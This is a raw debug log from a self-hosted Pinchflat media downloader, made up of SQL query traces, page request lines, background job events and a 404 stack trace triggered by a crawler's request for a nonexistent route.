s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:47.071 [info] Sent 200 in 6ms 08:18:47.068 [error] #PID<0.274028.0> running PinchflatWeb.Endpoint (connection #PID<0.274026.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/5/force_redownload ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274026.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59788}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.274028.0>, params: %{}, path_info: ["sources", "5", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.119"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-real-ip", "216.73.216.119"} ], request_path: "/sources/5/force_redownload", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIFsl4zcwh9k7YgAM3hC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274026.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59788}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_redownload (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.274026.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_redownload", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59788}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.119", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-real-ip" => "216.73.216.119" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.274028.0>, params: %{}, path_info: ["sources", "5", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-en (truncated) 08:18:47.295 [info] GET /sources/2/media/807/edit 08:18:47.295 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "807", "source_id" => "2"} Pipelines: [:browser] 08:18:47.296 [debug] QUERY OK source="media_items" db=0.5ms idle=229.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [807] 08:18:47.297 [debug] QUERY OK source="settings" db=0.2ms idle=230.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:47.298 [debug] QUERY OK source="settings" db=0.2ms idle=230.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:47.299 [debug] QUERY OK source="settings" db=0.2ms idle=230.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:18:47.301 [info] Sent 200 in 6ms 08:19:00.595 [info] {"source":"oban","duration":219,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:19:08.798 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:19:16.085 [info] GET /sources/2/media/806/edit 08:19:16.085 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "806", "source_id" => "2"} Pipelines: [:browser] 08:19:16.086 [info] GET /sources/2/media/804/edit 08:19:16.086 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "804", "source_id" => "2"} Pipelines: [:browser] 08:19:16.086 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1402.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [806] 08:19:16.086 [debug] QUERY OK source="media_items" db=0.3ms idle=1403.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [804] 08:19:16.087 [debug] QUERY OK source="settings" db=0.4ms idle=1403.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:19:16.087 [debug] QUERY OK source="settings" db=0.4ms idle=1403.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:19:16.088 [debug] QUERY OK source="settings" db=0.2ms idle=610.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:19:16.088 [debug] QUERY OK source="settings" db=0.2ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:19:16.088 [debug] QUERY OK source="settings" db=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:19:16.089 [debug] QUERY OK source="settings" db=0.3ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:19:16.090 [info] Sent 200 in 4ms 08:19:16.090 [info] Sent 200 in 4ms 08:19:16.409 [info] GET /sources/2/media/806 08:19:16.409 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "806", "source_id" => "2"} Pipelines: [:browser] 08:19:16.411 [debug] QUERY OK source="media_items" db=0.5ms idle=322.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [806] 08:19:16.412 [debug] QUERY OK source="tasks" db=0.3ms idle=323.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [806] 08:19:16.412 [debug] QUERY OK source="sources" db=0.6ms idle=323.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 08:19:16.413 [debug] QUERY OK source="settings" db=0.2ms idle=324.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:19:16.413 [debug] QUERY OK source="settings" db=0.1ms idle=324.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:19:16.414 [debug] QUERY OK source="settings" db=0.2ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:19:16.416 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:19:16.419 [info] Sent 200 in 10ms 08:19:38.800 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:00.596 [info] {"source":"oban","duration":251,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 08:20:08.802 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 08:20:09.122 [info] GET /sources/5/media/100788 08:20:09.122 [info] GET /sources/5/media/100785 08:20:09.122 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "100788", "source_id" => "5"} Pipelines: [:browser] 08:20:09.122 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "100785", "source_id" => "5"} Pipelines: [:browser] 08:20:09.123 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1439.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [100788] 08:20:09.123 [debug] QUERY OK source="media_items" db=0.9ms idle=1439.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [100785] 08:20:09.124 [debug] QUERY OK source="tasks" db=0.3ms idle=1441.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [100788] 08:20:09.124 [debug] QUERY OK source="tasks" db=0.4ms idle=532.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [100785] 08:20:09.125 [debug] QUERY OK source="sources" db=0.8ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 08:20:09.125 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=321.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 08:20:09.126 [debug] QUERY OK source="settings" db=0.4ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:09.126 [debug] QUERY OK source="settings" db=0.4ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:09.127 [debug] QUERY OK source="settings" db=0.2ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:09.127 [debug] QUERY OK source="settings" db=0.3ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:09.128 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:09.128 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:09.131 [debug] QUERY OK source="media_profiles" db=0.8ms idle=3.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:20:09.131 [debug] QUERY OK source="media_profiles" db=0.7ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:20:09.135 [info] Sent 200 in 12ms 08:20:09.135 [info] Sent 200 in 13ms 08:20:18.854 [info] GET /sources/5/media/99915/edit 08:20:18.854 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "99915", "source_id" => "5"} Pipelines: [:browser] 08:20:18.855 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=243.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [99915] 08:20:18.855 [debug] QUERY OK source="settings" db=0.2ms idle=172.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:18.856 [debug] QUERY OK source="settings" db=0.3ms idle=172.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:18.857 [debug] QUERY OK source="settings" db=0.2ms idle=173.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:18.859 [info] Sent 200 in 5ms 08:20:18.996 [info] GET /sources/5/media/100350 08:20:18.996 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "100350", "source_id" => "5"} Pipelines: [:browser] 08:20:18.997 [debug] QUERY OK source="media_items" db=0.3ms idle=313.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [100350] 08:20:18.998 [debug] QUERY OK source="tasks" db=0.3ms idle=142.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [100350] 08:20:18.998 [debug] QUERY OK source="sources" db=0.6ms idle=141.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 08:20:18.999 [debug] QUERY OK source="settings" db=0.2ms idle=142.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 08:20:18.999 [debug] QUERY OK source="settings" db=0.2ms idle=142.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 